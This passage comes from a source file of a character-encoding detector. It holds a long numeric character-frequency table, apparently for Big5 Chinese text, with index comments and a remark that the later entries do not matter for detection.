518, 671, 957,2658,2378, 267, 611,2197,3030,6123, 248,2299, 967,1799,2356, // 1712 + 850,1418,3437,1876,1256,1480,2828,1718,6124,6125,1755,1664,2405,6126,4628,2879, // 1728 +2829, 499,2179, 676,4629, 557,2329,2214,2090, 325,3234, 464, 811,3001, 992,2342, // 1744 +2481,1232,1469, 303,2242, 466,1070,2163, 603,1777,2091,4630,2752,4631,2714, 322, // 1760 +2659,1964,1768, 481,2188,1463,2330,2857,3600,2092,3031,2421,4632,2318,2070,1849, // 1776 +2598,4633,1302,2254,1668,1701,2422,3811,2905,3032,3123,2046,4106,1763,1694,4634, // 1792 +1604, 943,1724,1454, 917, 868,2215,1169,2940, 552,1145,1800,1228,1823,1955, 316, // 1808 +1080,2510, 361,1807,2830,4107,2660,3381,1346,1423,1134,4108,6127, 541,1263,1229, // 1824 +1148,2540, 545, 465,1833,2880,3438,1901,3074,2482, 816,3937, 713,1788,2500, 122, // 1840 +1575, 195,1451,2501,1111,6128, 859, 374,1225,2243,2483,4317, 390,1033,3439,3075, // 1856 +2524,1687, 266, 793,1440,2599, 946, 779, 802, 507, 897,1081, 528,2189,1292, 711, // 1872 +1866,1725,1167,1640, 753, 398,2661,1053, 246, 348,4318, 137,1024,3440,1600,2077, // 1888 +2129, 825,4319, 698, 238, 521, 187,2300,1157,2423,1641,1605,1464,1610,1097,2541, // 1904 +1260,1436, 759,2255,1814,2150, 705,3235, 409,2563,3304, 561,3033,2005,2564, 726, // 1920 +1956,2343,3698,4109, 949,3812,3813,3520,1669, 653,1379,2525, 881,2198, 632,2256, // 1936 +1027, 778,1074, 733,1957, 514,1481,2466, 554,2180, 702,3938,1606,1017,1398,6129, // 1952 +1380,3521, 921, 993,1313, 594, 449,1489,1617,1166, 768,1426,1360, 495,1794,3601, // 1968 +1177,3602,1170,4320,2344, 476, 425,3167,4635,3168,1424, 401,2662,1171,3382,1998, // 1984 +1089,4110, 477,3169, 474,6130,1909, 596,2831,1842, 494, 693,1051,1028,1207,3076, // 2000 + 606,2115, 727,2790,1473,1115, 743,3522, 630, 805,1532,4321,2021, 366,1057, 838, // 2016 + 684,1114,2142,4322,2050,1492,1892,1808,2271,3814,2424,1971,1447,1373,3305,1090, // 2032 +1536,3939,3523,3306,1455,2199, 336, 369,2331,1035, 584,2393, 902, 718,2600,6131, // 2048 +2753, 463,2151,1149,1611,2467, 715,1308,3124,1268, 343,1413,3236,1517,1347,2663, // 2064 +2093,3940,2022,1131,1553,2100,2941,1427,3441,2942,1323,2484,6132,1980, 872,2368, // 2080 +2441,2943, 320,2369,2116,1082, 679,1933,3941,2791,3815, 625,1143,2023, 422,2200, // 2096 +3816,6133, 730,1695, 356,2257,1626,2301,2858,2637,1627,1778, 937, 883,2906,2693, // 2112 +3002,1769,1086, 400,1063,1325,3307,2792,4111,3077, 456,2345,1046, 747,6134,1524, // 2128 + 884,1094,3383,1474,2164,1059, 974,1688,2181,2258,1047, 345,1665,1187, 358, 875, // 2144 +3170, 305, 660,3524,2190,1334,1135,3171,1540,1649,2542,1527, 927, 968,2793, 885, // 2160 +1972,1850, 482, 500,2638,1218,1109,1085,2543,1654,2034, 876, 78,2287,1482,1277, // 2176 + 861,1675,1083,1779, 724,2754, 454, 397,1132,1612,2332, 893, 672,1237, 257,2259, // 2192 +2370, 135,3384, 337,2244, 547, 352, 340, 709,2485,1400, 788,1138,2511, 540, 772, // 2208 +1682,2260,2272,2544,2013,1843,1902,4636,1999,1562,2288,4637,2201,1403,1533, 407, // 2224 + 576,3308,1254,2071, 978,3385, 170, 136,1201,3125,2664,3172,2394, 213, 912, 873, // 2240 +3603,1713,2202, 699,3604,3699, 813,3442, 493, 531,1054, 468,2907,1483, 304, 281, // 2256 +4112,1726,1252,2094, 339,2319,2130,2639, 756,1563,2944, 748, 571,2976,1588,2425, // 2272 +2715,1851,1460,2426,1528,1392,1973,3237, 288,3309, 685,3386, 296, 892,2716,2216, // 2288 +1570,2245, 722,1747,2217, 905,3238,1103,6135,1893,1441,1965, 251,1805,2371,3700, // 2304 +2601,1919,1078, 75,2182,1509,1592,1270,2640,4638,2152,6136,3310,3817, 524, 706, // 2320 +1075, 292,3818,1756,2602, 317, 98,3173,3605,3525,1844,2218,3819,2502, 814, 567, // 2336 + 385,2908,1534,6137, 534,1642,3239, 797,6138,1670,1529, 953,4323, 188,1071, 538, // 2352 + 178, 729,3240,2109,1226,1374,2000,2357,2977, 731,2468,1116,2014,2051,6139,1261, // 2368 +1593, 803,2859,2736,3443, 556, 682, 823,1541,6140,1369,2289,1706,2794, 845, 462, // 2384 +2603,2665,1361, 387, 162,2358,1740, 739,1770,1720,1304,1401,3241,1049, 627,1571, // 2400 +2427,3526,1877,3942,1852,1500, 431,1910,1503, 677, 297,2795, 286,1433,1038,1198, // 2416 +2290,1133,1596,4113,4639,2469,1510,1484,3943,6141,2442, 108, 712,4640,2372, 866, // 2432 +3701,2755,3242,1348, 834,1945,1408,3527,2395,3243,1811, 824, 994,1179,2110,1548, // 2448 +1453, 790,3003, 690,4324,4325,2832,2909,3820,1860,3821, 225,1748, 310, 346,1780, // 2464 +2470, 821,1993,2717,2796, 828, 877,3528,2860,2471,1702,2165,2910,2486,1789, 453, // 2480 + 359,2291,1676, 73,1164,1461,1127,3311, 421, 604, 314,1037, 589, 116,2487, 737, // 2496 + 837,1180, 111, 244, 735,6142,2261,1861,1362, 986, 523, 418, 581,2666,3822, 103, // 2512 + 855, 503,1414,1867,2488,1091, 657,1597, 979, 605,1316,4641,1021,2443,2078,2001, // 2528 +1209, 96, 587,2166,1032, 260,1072,2153, 173, 94, 226,3244, 819,2006,4642,4114, // 2544 +2203, 231,1744, 782, 97,2667, 786,3387, 887, 391, 442,2219,4326,1425,6143,2694, // 2560 + 633,1544,1202, 483,2015, 592,2052,1958,2472,1655, 419, 129,4327,3444,3312,1714, // 2576 +1257,3078,4328,1518,1098, 865,1310,1019,1885,1512,1734, 469,2444, 148, 773, 436, // 2592 +1815,1868,1128,1055,4329,1245,2756,3445,2154,1934,1039,4643, 579,1238, 932,2320, // 2608 + 353, 205, 801, 115,2428, 944,2321,1881, 399,2565,1211, 678, 766,3944, 335,2101, // 2624 +1459,1781,1402,3945,2737,2131,1010, 844, 981,1326,1013, 550,1816,1545,2620,1335, // 2640 +1008, 371,2881, 936,1419,1613,3529,1456,1395,2273,1834,2604,1317,2738,2503, 416, // 2656 +1643,4330, 806,1126, 229, 591,3946,1314,1981,1576,1837,1666, 347,1790, 977,3313, // 2672 + 764,2861,1853, 688,2429,1920,1462, 77, 595, 415,2002,3034, 798,1192,4115,6144, // 2688 +2978,4331,3035,2695,2582,2072,2566, 430,2430,1727, 842,1396,3947,3702, 613, 377, // 2704 + 278, 236,1417,3388,3314,3174, 757,1869, 107,3530,6145,1194, 623,2262, 207,1253, // 2720 +2167,3446,3948, 492,1117,1935, 536,1838,2757,1246,4332, 696,2095,2406,1393,1572, // 2736 +3175,1782, 583, 190, 253,1390,2230, 830,3126,3389, 934,3245,1703,1749,2979,1870, // 2752 +2545,1656,2204, 869,2346,4116,3176,1817, 496,1764,4644, 942,1504, 404,1903,1122, // 2768 +1580,3606,2945,1022, 515, 372,1735, 955,2431,3036,6146,2797,1110,2302,2798, 617, // 2784 +6147, 441, 762,1771,3447,3607,3608,1904, 840,3037, 86, 939,1385, 572,1370,2445, // 2800 +1336, 114,3703, 898, 294, 203,3315, 703,1583,2274, 429, 961,4333,1854,1951,3390, // 2816 +2373,3704,4334,1318,1381, 966,1911,2322,1006,1155, 309, 989, 458,2718,1795,1372, // 2832 +1203, 252,1689,1363,3177, 517,1936, 168,1490, 562, 193,3823,1042,4117,1835, 551, // 2848 + 470,4645, 395, 489,3448,1871,1465,2583,2641, 417,1493, 279,1295, 511,1236,1119, // 2864 + 72,1231,1982,1812,3004, 871,1564, 984,3449,1667,2696,2096,4646,2347,2833,1673, // 2880 +3609, 695,3246,2668, 807,1183,4647, 890, 388,2333,1801,1457,2911,1765,1477,1031, // 2896 +3316,3317,1278,3391,2799,2292,2526, 163,3450,4335,2669,1404,1802,6148,2323,2407, // 2912 +1584,1728,1494,1824,1269, 298, 909,3318,1034,1632, 375, 776,1683,2061, 291, 210, // 2928 +1123, 809,1249,1002,2642,3038, 206,1011,2132, 144, 975, 882,1565, 342, 667, 754, // 2944 +1442,2143,1299,2303,2062, 447, 626,2205,1221,2739,2912,1144,1214,2206,2584, 760, // 2960 +1715, 614, 950,1281,2670,2621, 810, 577,1287,2546,4648, 242,2168, 250,2643, 691, // 2976 + 123,2644, 647, 313,1029, 689,1357,2946,1650, 216, 771,1339,1306, 808,2063, 549, // 2992 + 913,1371,2913,2914,6149,1466,1092,1174,1196,1311,2605,2396,1783,1796,3079, 406, // 3008 +2671,2117,3949,4649, 487,1825,2220,6150,2915, 448,2348,1073,6151,2397,1707, 130, // 3024 + 900,1598, 329, 176,1959,2527,1620,6152,2275,4336,3319,1983,2191,3705,3610,2155, // 3040 +3706,1912,1513,1614,6153,1988, 646, 392,2304,1589,3320,3039,1826,1239,1352,1340, // 3056 +2916, 505,2567,1709,1437,2408,2547, 906,6154,2672, 384,1458,1594,1100,1329, 710, // 3072 + 423,3531,2064,2231,2622,1989,2673,1087,1882, 333, 841,3005,1296,2882,2379, 580, // 3088 +1937,1827,1293,2585, 601, 574, 249,1772,4118,2079,1120, 645, 901,1176,1690, 795, // 3104 +2207, 478,1434, 516,1190,1530, 761,2080, 930,1264, 355, 435,1552, 644,1791, 987, // 3120 + 220,1364,1163,1121,1538, 306,2169,1327,1222, 546,2645, 218, 241, 610,1704,3321, // 3136 +1984,1839,1966,2528, 451,6155,2586,3707,2568, 907,3178, 254,2947, 186,1845,4650, // 3152 + 745, 432,1757, 428,1633, 888,2246,2221,2489,3611,2118,1258,1265, 956,3127,1784, // 3168 +4337,2490, 319, 510, 119, 457,3612, 274,2035,2007,4651,1409,3128, 970,2758, 590, // 3184 +2800, 661,2247,4652,2008,3950,1420,1549,3080,3322,3951,1651,1375,2111, 485,2491, // 3200 +1429,1156,6156,2548,2183,1495, 831,1840,2529,2446, 501,1657, 307,1894,3247,1341, // 3216 + 666, 899,2156,1539,2549,1559, 886, 349,2208,3081,2305,1736,3824,2170,2759,1014, // 3232 +1913,1386, 542,1397,2948, 490, 368, 716, 362, 159, 282,2569,1129,1658,1288,1750, // 3248 +2674, 276, 649,2016, 751,1496, 658,1818,1284,1862,2209,2087,2512,3451, 622,2834, // 3264 + 376, 117,1060,2053,1208,1721,1101,1443, 247,1250,3179,1792,3952,2760,2398,3953, // 3280 +6157,2144,3708, 446,2432,1151,2570,3452,2447,2761,2835,1210,2448,3082, 424,2222, // 3296 +1251,2449,2119,2836, 504,1581,4338, 602, 817, 857,3825,2349,2306, 357,3826,1470, // 3312 +1883,2883, 255, 958, 929,2917,3248, 302,4653,1050,1271,1751,2307,1952,1430,2697, // 3328 +2719,2359, 354,3180, 777, 158,2036,4339,1659,4340,4654,2308,2949,2248,1146,2232, // 3344 +3532,2720,1696,2623,3827,6158,3129,1550,2698,1485,1297,1428, 637, 931,2721,2145, // 3360 + 914,2550,2587, 81,2450, 612, 827,2646,1242,4655,1118,2884, 472,1855,3181,3533, // 3376 +3534, 569,1353,2699,1244,1758,2588,4119,2009,2762,2171,3709,1312,1531,6159,1152, // 3392 +1938, 134,1830, 471,3710,2276,1112,1535,3323,3453,3535, 982,1337,2950, 488, 826, // 3408 + 674,1058,1628,4120,2017, 522,2399, 211, 568,1367,3454, 350, 293,1872,1139,3249, // 3424 +1399,1946,3006,1300,2360,3324, 588, 736,6160,2606, 744, 669,3536,3828,6161,1358, // 3440 + 199, 723, 848, 933, 851,1939,1505,1514,1338,1618,1831,4656,1634,3613, 443,2740, // 3456 +3829, 717,1947, 491,1914,6162,2551,1542,4121,1025,6163,1099,1223, 198,3040,2722, // 3472 + 370, 410,1905,2589, 998,1248,3182,2380, 519,1449,4122,1710, 947, 928,1153,4341, // 3488 +2277, 344,2624,1511, 615, 105, 161,1212,1076,1960,3130,2054,1926,1175,1906,2473, // 3504 + 414,1873,2801,6164,2309, 315,1319,3325, 318,2018,2146,2157, 963, 631, 223,4342, // 3520 +4343,2675, 479,3711,1197,2625,3712,2676,2361,6165,4344,4123,6166,2451,3183,1886, // 3536 +2184,1674,1330,1711,1635,1506, 799, 219,3250,3083,3954,1677,3713,3326,2081,3614, // 3552 +1652,2073,4657,1147,3041,1752, 643,1961, 147,1974,3955,6167,1716,2037, 918,3007, // 3568 +1994, 120,1537, 118, 609,3184,4345, 740,3455,1219, 332,1615,3830,6168,1621,2980, // 3584 +1582, 783, 212, 553,2350,3714,1349,2433,2082,4124, 889,6169,2310,1275,1410, 973, // 3600 + 166,1320,3456,1797,1215,3185,2885,1846,2590,2763,4658, 629, 822,3008, 763, 940, // 3616 +1990,2862, 439,2409,1566,1240,1622, 926,1282,1907,2764, 654,2210,1607, 327,1130, // 3632 +3956,1678,1623,6170,2434,2192, 686, 608,3831,3715, 903,3957,3042,6171,2741,1522, // 3648 +1915,1105,1555,2552,1359, 323,3251,4346,3457, 738,1354,2553,2311,2334,1828,2003, // 3664 +3832,1753,2351,1227,6172,1887,4125,1478,6173,2410,1874,1712,1847, 520,1204,2607, // 3680 + 264,4659, 836,2677,2102, 600,4660,3833,2278,3084,6174,4347,3615,1342, 640, 532, // 3696 + 543,2608,1888,2400,2591,1009,4348,1497, 341,1737,3616,2723,1394, 529,3252,1321, // 3712 + 983,4661,1515,2120, 971,2592, 924, 287,1662,3186,4349,2700,4350,1519, 908,1948, // 3728 +2452, 156, 796,1629,1486,2223,2055, 694,4126,1259,1036,3392,1213,2249,2742,1889, // 3744 +1230,3958,1015, 910, 408, 559,3617,4662, 746, 725, 935,4663,3959,3009,1289, 563, // 3760 + 867,4664,3960,1567,2981,2038,2626, 988,2263,2381,4351, 143,2374, 704,1895,6175, // 3776 +1188,3716,2088, 673,3085,2362,4352, 484,1608,1921,2765,2918, 215, 904,3618,3537, // 3792 + 894, 509, 976,3043,2701,3961,4353,2837,2982, 498,6176,6177,1102,3538,1332,3393, // 3808 +1487,1636,1637, 233, 245,3962, 383, 650, 995,3044, 460,1520,1206,2352, 749,3327, // 3824 + 530, 700, 389,1438,1560,1773,3963,2264, 719,2951,2724,3834, 870,1832,1644,1000, // 3840 + 839,2474,3717, 197,1630,3394, 365,2886,3964,1285,2133, 734, 922, 818,1106, 732, // 3856 + 480,2083,1774,3458, 923,2279,1350, 221,3086, 85,2233,2234,3835,1585,3010,2147, // 3872 +1387,1705,2382,1619,2475, 133, 239,2802,1991,1016,2084,2383, 411,2838,1113, 651, // 3888 +1985,1160,3328, 990,1863,3087,1048,1276,2647, 265,2627,1599,3253,2056, 150, 638, // 3904 +2019, 656, 853, 326,1479, 680,1439,4354,1001,1759, 413,3459,3395,2492,1431, 459, // 3920 +4355,1125,3329,2265,1953,1450,2065,2863, 849, 351,2678,3131,3254,3255,1104,1577, // 3936 + 227,1351,1645,2453,2193,1421,2887, 812,2121, 634, 95,2435, 201,2312,4665,1646, // 3952 +1671,2743,1601,2554,2702,2648,2280,1315,1366,2089,3132,1573,3718,3965,1729,1189, // 3968 + 328,2679,1077,1940,1136, 558,1283, 964,1195, 621,2074,1199,1743,3460,3619,1896, // 3984 +1916,1890,3836,2952,1154,2112,1064, 862, 378,3011,2066,2113,2803,1568,2839,6178, // 4000 +3088,2919,1941,1660,2004,1992,2194, 142, 707,1590,1708,1624,1922,1023,1836,1233, // 4016 +1004,2313, 789, 741,3620,6179,1609,2411,1200,4127,3719,3720,4666,2057,3721, 593, // 4032 +2840, 367,2920,1878,6180,3461,1521, 628,1168, 692,2211,2649, 300, 720,2067,2571, // 4048 +2953,3396, 959,2504,3966,3539,3462,1977, 701,6181, 954,1043, 800, 681, 183,3722, // 4064 +1803,1730,3540,4128,2103, 815,2314, 174, 467, 230,2454,1093,2134, 755,3541,3397, // 4080 +1141,1162,6182,1738,2039, 270,3256,2513,1005,1647,2185,3837, 858,1679,1897,1719, // 4096 +2954,2324,1806, 402, 670, 167,4129,1498,2158,2104, 750,6183, 915, 189,1680,1551, // 4112 + 455,4356,1501,2455, 405,1095,2955, 338,1586,1266,1819, 570, 641,1324, 237,1556, // 4128 +2650,1388,3723,6184,1368,2384,1343,1978,3089,2436, 879,3724, 792,1191, 758,3012, // 4144 +1411,2135,1322,4357, 240,4667,1848,3725,1574,6185, 420,3045,1546,1391, 714,4358, // 4160 +1967, 941,1864, 863, 664, 426, 560,1731,2680,1785,2864,1949,2363, 403,3330,1415, // 4176 +1279,2136,1697,2335, 204, 721,2097,3838, 90,6186,2085,2505, 191,3967, 124,2148, // 4192 +1376,1798,1178,1107,1898,1405, 860,4359,1243,1272,2375,2983,1558,2456,1638, 113, // 4208 +3621, 578,1923,2609, 880, 386,4130, 784,2186,2266,1422,2956,2172,1722, 497, 263, // 4224 +2514,1267,2412,2610, 177,2703,3542, 774,1927,1344, 616,1432,1595,1018, 172,4360, // 4240 +2325, 911,4361, 438,1468,3622, 794,3968,2024,2173,1681,1829,2957, 945, 895,3090, // 4256 + 575,2212,2476, 475,2401,2681, 785,2744,1745,2293,2555,1975,3133,2865, 394,4668, // 4272 +3839, 635,4131, 639, 202,1507,2195,2766,1345,1435,2572,3726,1908,1184,1181,2457, // 4288 +3727,3134,4362, 843,2611, 437, 916,4669, 234, 769,1884,3046,3047,3623, 833,6187, // 4304 +1639,2250,2402,1355,1185,2010,2047, 999, 525,1732,1290,1488,2612, 948,1578,3728, // 4320 +2413,2477,1216,2725,2159, 334,3840,1328,3624,2921,1525,4132, 564,1056, 891,4363, // 4336 +1444,1698,2385,2251,3729,1365,2281,2235,1717,6188, 864,3841,2515, 444, 527,2767, // 4352 +2922,3625, 544, 461,6189, 566, 209,2437,3398,2098,1065,2068,3331,3626,3257,2137, // 4368 //last 512 + +/*************************************************************************************** + *Everything below is of no interest for detection purpose * + *************************************************************************************** + +2138,2122,3730,2888,1995,1820,1044,6190,6191,6192,6193,6194,6195,6196,6197,6198, // 4384 +6199,6200,6201,6202,6203,6204,6205,4670,6206,6207,6208,6209,6210,6211,6212,6213, // 4400 +6214,6215,6216,6217,6218,6219,6220,6221,6222,6223,6224,6225,6226,6227,6228,6229, // 4416 +6230,6231,6232,6233,6234,6235,6236,6237,3187,6238,6239,3969,6240,6241,6242,6243, // 4432 +6244,4671,6245,6246,4672,6247,6248,4133,6249,6250,4364,6251,2923,2556,2613,4673, // 4448 +4365,3970,6252,6253,6254,6255,4674,6256,6257,6258,2768,2353,4366,4675,4676,3188, // 4464 +4367,3463,6259,4134,4677,4678,6260,2267,6261,3842,3332,4368,3543,6262,6263,6264, // 4480 +3013,1954,1928,4135,4679,6265,6266,2478,3091,6267,4680,4369,6268,6269,1699,6270, // 4496 +3544,4136,4681,6271,4137,6272,4370,2804,6273,6274,2593,3971,3972,4682,6275,2236, // 4512 +4683,6276,6277,4684,6278,6279,4138,3973,4685,6280,6281,3258,6282,6283,6284,6285, // 4528 +3974,4686,2841,3975,6286,6287,3545,6288,6289,4139,4687,4140,6290,4141,6291,4142, // 4544 +6292,6293,3333,6294,6295,6296,4371,6297,3399,6298,6299,4372,3976,6300,6301,6302, // 4560 +4373,6303,6304,3843,3731,6305,4688,4374,6306,6307,3259,2294,6308,3732,2530,4143, // 4576 +6309,4689,6310,6311,6312,3048,6313,6314,4690,3733,2237,6315,6316,2282,3334,6317, // 4592 +6318,3844,6319,6320,4691,6321,3400,4692,6322,4693,6323,3049,6324,4375,6325,3977, // 4608 +6326,6327,6328,3546,6329,4694,3335,6330,4695,4696,6331,6332,6333,6334,4376,3978, // 4624 +6335,4697,3979,4144,6336,3980,4698,6337,6338,6339,6340,6341,4699,4700,4701,6342, // 4640 +6343,4702,6344,6345,4703,6346,6347,4704,6348,4705,4706,3135,6349,4707,6350,4708, // 4656 +6351,4377,6352,4709,3734,4145,6353,2506,4710,3189,6354,3050,4711,3981,6355,3547, // 4672 +3014,4146,4378,3735,2651,3845,3260,3136,2224,1986,6356,3401,6357,4712,2594,3627, // 4688 +3137,2573,3736,3982,4713,3628,4714,4715,2682,3629,4716,6358,3630,4379,3631,6359, // 4704 +6360,6361,3983,6362,6363,6364,6365,4147,3846,4717,6366,6367,3737,2842,6368,4718, // 4720 +2628,6369,3261,6370,2386,6371,6372,3738,3984,4719,3464,4720,3402,6373,2924,3336, // 4736 +4148,2866,6374,2805,3262,4380,2704,2069,2531,3138,2806,2984,6375,2769,6376,4721, // 4752 +4722,3403,6377,6378,3548,6379,6380,2705,3092,1979,4149,2629,3337,2889,6381,3338, // 4768 +4150,2557,3339,4381,6382,3190,3263,3739,6383,4151,4723,4152,2558,2574,3404,3191, // 4784 +6384,6385,4153,6386,4724,4382,6387,6388,4383,6389,6390,4154,6391,4725,3985,6392, // 4800 +3847,4155,6393,6394,6395,6396,6397,3465,6398,4384,6399,6400,6401,6402,6403,6404, // 4816 +4156,6405,6406,6407,6408,2123,6409,6410,2326,3192,4726,6411,6412,6413,6414,4385, // 4832 +4157,6415,6416,4158,6417,3093,3848,6418,3986,6419,6420,3849,6421,6422,6423,4159, // 4848 +6424,6425,4160,6426,3740,6427,6428,6429,6430,3987,6431,4727,6432,2238,6433,6434, // 4864 +4386,3988,6435,6436,3632,6437,6438,2843,6439,6440,6441,6442,3633,6443,2958,6444, // 4880 +6445,3466,6446,2364,4387,3850,6447,4388,2959,3340,6448,3851,6449,4728,6450,6451, // 4896 +3264,4729,6452,3193,6453,4389,4390,2706,3341,4730,6454,3139,6455,3194,6456,3051, // 4912 +2124,3852,1602,4391,4161,3853,1158,3854,4162,3989,4392,3990,4731,4732,4393,2040, // 4928 +4163,4394,3265,6457,2807,3467,3855,6458,6459,6460,3991,3468,4733,4734,6461,3140, // 4944 +2960,6462,4735,6463,6464,6465,6466,4736,4737,4738,4739,6467,6468,4164,2403,3856, // 4960 +6469,6470,2770,2844,6471,4740,6472,6473,6474,6475,6476,6477,6478,3195,6479,4741, // 4976 +4395,6480,2867,6481,4742,2808,6482,2493,4165,6483,6484,6485,6486,2295,4743,6487, // 4992 +6488,6489,3634,6490,6491,6492,6493,6494,6495,6496,2985,4744,6497,6498,4745,6499, // 5008 +6500,2925,3141,4166,6501,6502,4746,6503,6504,4747,6505,6506,6507,2890,6508,6509, // 5024 +6510,6511,6512,6513,6514,6515,6516,6517,6518,6519,3469,4167,6520,6521,6522,4748, // 5040 +4396,3741,4397,4749,4398,3342,2125,4750,6523,4751,4752,4753,3052,6524,2961,4168, // 5056 +6525,4754,6526,4755,4399,2926,4169,6527,3857,6528,4400,4170,6529,4171,6530,6531, // 5072 +2595,6532,6533,6534,6535,3635,6536,6537,6538,6539,6540,6541,6542,4756,6543,6544, // 5088 +6545,6546,6547,6548,4401,6549,6550,6551,6552,4402,3405,4757,4403,6553,6554,6555, // 5104 +4172,3742,6556,6557,6558,3992,3636,6559,6560,3053,2726,6561,3549,4173,3054,4404, // 5120 +6562,6563,3993,4405,3266,3550,2809,4406,6564,6565,6566,4758,4759,6567,3743,6568, // 5136 +4760,3744,4761,3470,6569,6570,6571,4407,6572,3745,4174,6573,4175,2810,4176,3196, // 5152 +4762,6574,4177,6575,6576,2494,2891,3551,6577,6578,3471,6579,4408,6580,3015,3197, // 5168 +6581,3343,2532,3994,3858,6582,3094,3406,4409,6583,2892,4178,4763,4410,3016,4411, // 5184 +6584,3995,3142,3017,2683,6585,4179,6586,6587,4764,4412,6588,6589,4413,6590,2986, // 5200 +6591,2962,3552,6592,2963,3472,6593,6594,4180,4765,6595,6596,2225,3267,4414,6597, // 5216 +3407,3637,4766,6598,6599,3198,6600,4415,6601,3859,3199,6602,3473,4767,2811,4416, // 5232 +1856,3268,3200,2575,3996,3997,3201,4417,6603,3095,2927,6604,3143,6605,2268,6606, // 5248 +3998,3860,3096,2771,6607,6608,3638,2495,4768,6609,3861,6610,3269,2745,4769,4181, // 5264 +3553,6611,2845,3270,6612,6613,6614,3862,6615,6616,4770,4771,6617,3474,3999,4418, // 5280 +4419,6618,3639,3344,6619,4772,4182,6620,2126,6621,6622,6623,4420,4773,6624,3018, // 5296 +6625,4774,3554,6626,4183,2025,3746,6627,4184,2707,6628,4421,4422,3097,1775,4185, // 5312 +3555,6629,6630,2868,6631,6632,4423,6633,6634,4424,2414,2533,2928,6635,4186,2387, // 5328 +6636,4775,6637,4187,6638,1891,4425,3202,3203,6639,6640,4776,6641,3345,6642,6643, // 5344 +3640,6644,3475,3346,3641,4000,6645,3144,6646,3098,2812,4188,3642,3204,6647,3863, // 5360 +3476,6648,3864,6649,4426,4001,6650,6651,6652,2576,6653,4189,4777,6654,6655,6656, // 5376 +2846,6657,3477,3205,4002,6658,4003,6659,3347,2252,6660,6661,6662,4778,6663,6664, // 5392 +6665,6666,6667,6668,6669,4779,4780,2048,6670,3478,3099,6671,3556,3747,4004,6672, // 5408 +6673,6674,3145,4005,3748,6675,6676,6677,6678,6679,3408,6680,6681,6682,6683,3206, // 5424 +3207,6684,6685,4781,4427,6686,4782,4783,4784,6687,6688,6689,4190,6690,6691,3479, // 5440 +6692,2746,6693,4428,6694,6695,6696,6697,6698,6699,4785,6700,6701,3208,2727,6702, // 5456 +3146,6703,6704,3409,2196,6705,4429,6706,6707,6708,2534,1996,6709,6710,6711,2747, // 5472 +6712,6713,6714,4786,3643,6715,4430,4431,6716,3557,6717,4432,4433,6718,6719,6720, // 5488 +6721,3749,6722,4006,4787,6723,6724,3644,4788,4434,6725,6726,4789,2772,6727,6728, // 5504 +6729,6730,6731,2708,3865,2813,4435,6732,6733,4790,4791,3480,6734,6735,6736,6737, // 5520 +4436,3348,6738,3410,4007,6739,6740,4008,6741,6742,4792,3411,4191,6743,6744,6745, // 5536 +6746,6747,3866,6748,3750,6749,6750,6751,6752,6753,6754,6755,3867,6756,4009,6757, // 5552 +4793,4794,6758,2814,2987,6759,6760,6761,4437,6762,6763,6764,6765,3645,6766,6767, // 5568 +3481,4192,6768,3751,6769,6770,2174,6771,3868,3752,6772,6773,6774,4193,4795,4438, // 5584 +3558,4796,4439,6775,4797,6776,6777,4798,6778,4799,3559,4800,6779,6780,6781,3482, // 5600 +6782,2893,6783,6784,4194,4801,4010,6785,6786,4440,6787,4011,6788,6789,6790,6791, // 5616 +6792,6793,4802,6794,6795,6796,4012,6797,6798,6799,6800,3349,4803,3483,6801,4804, // 5632 +4195,6802,4013,6803,6804,4196,6805,4014,4015,6806,2847,3271,2848,6807,3484,6808, // 5648 +6809,6810,4441,6811,4442,4197,4443,3272,4805,6812,3412,4016,1579,6813,6814,4017, // 5664 +6815,3869,6816,2964,6817,4806,6818,6819,4018,3646,6820,6821,4807,4019,4020,6822, // 5680 +6823,3560,6824,6825,4021,4444,6826,4198,6827,6828,4445,6829,6830,4199,4808,6831, // 5696 +6832,6833,3870,3019,2458,6834,3753,3413,3350,6835,4809,3871,4810,3561,4446,6836, // 5712 +6837,4447,4811,4812,6838,2459,4448,6839,4449,6840,6841,4022,3872,6842,4813,4814, // 5728 +6843,6844,4815,4200,4201,4202,6845,4023,6846,6847,4450,3562,3873,6848,6849,4816, // 5744 +4817,6850,4451,4818,2139,6851,3563,6852,6853,3351,6854,6855,3352,4024,2709,3414, // 5760 +4203,4452,6856,4204,6857,6858,3874,3875,6859,6860,4819,6861,6862,6863,6864,4453, // 5776 +3647,6865,6866,4820,6867,6868,6869,6870,4454,6871,2869,6872,6873,4821,6874,3754, // 5792 +6875,4822,4205,6876,6877,6878,3648,4206,4455,6879,4823,6880,4824,3876,6881,3055, // 5808 +4207,6882,3415,6883,6884,6885,4208,4209,6886,4210,3353,6887,3354,3564,3209,3485, // 5824 +2652,6888,2728,6889,3210,3755,6890,4025,4456,6891,4825,6892,6893,6894,6895,4211, // 5840 +6896,6897,6898,4826,6899,6900,4212,6901,4827,6902,2773,3565,6903,4828,6904,6905, // 5856 +6906,6907,3649,3650,6908,2849,3566,6909,3567,3100,6910,6911,6912,6913,6914,6915, // 5872 +4026,6916,3355,4829,3056,4457,3756,6917,3651,6918,4213,3652,2870,6919,4458,6920, // 5888 +2438,6921,6922,3757,2774,4830,6923,3356,4831,4832,6924,4833,4459,3653,2507,6925, // 5904 +4834,2535,6926,6927,3273,4027,3147,6928,3568,6929,6930,6931,4460,6932,3877,4461, // 5920 +2729,3654,6933,6934,6935,6936,2175,4835,2630,4214,4028,4462,4836,4215,6937,3148, // 5936 +4216,4463,4837,4838,4217,6938,6939,2850,4839,6940,4464,6941,6942,6943,4840,6944, // 5952 +4218,3274,4465,6945,6946,2710,6947,4841,4466,6948,6949,2894,6950,6951,4842,6952, // 5968 +4219,3057,2871,6953,6954,6955,6956,4467,6957,2711,6958,6959,6960,3275,3101,4843, // 5984 +6961,3357,3569,6962,4844,6963,6964,4468,4845,3570,6965,3102,4846,3758,6966,4847, // 6000 +3878,4848,4849,4029,6967,2929,3879,4850,4851,6968,6969,1733,6970,4220,6971,6972, // 6016 +6973,6974,6975,6976,4852,6977,6978,6979,6980,6981,6982,3759,6983,6984,6985,3486, // 6032 +3487,6986,3488,3416,6987,6988,6989,6990,6991,6992,6993,6994,6995,6996,6997,4853, // 6048 +6998,6999,4030,7000,7001,3211,7002,7003,4221,7004,7005,3571,4031,7006,3572,7007, // 6064 +2614,4854,2577,7008,7009,2965,3655,3656,4855,2775,3489,3880,4222,4856,3881,4032, // 6080 +3882,3657,2730,3490,4857,7010,3149,7011,4469,4858,2496,3491,4859,2283,7012,7013, // 6096 +7014,2365,4860,4470,7015,7016,3760,7017,7018,4223,1917,7019,7020,7021,4471,7022, // 6112 +2776,4472,7023,7024,7025,7026,4033,7027,3573,4224,4861,4034,4862,7028,7029,1929, // 6128 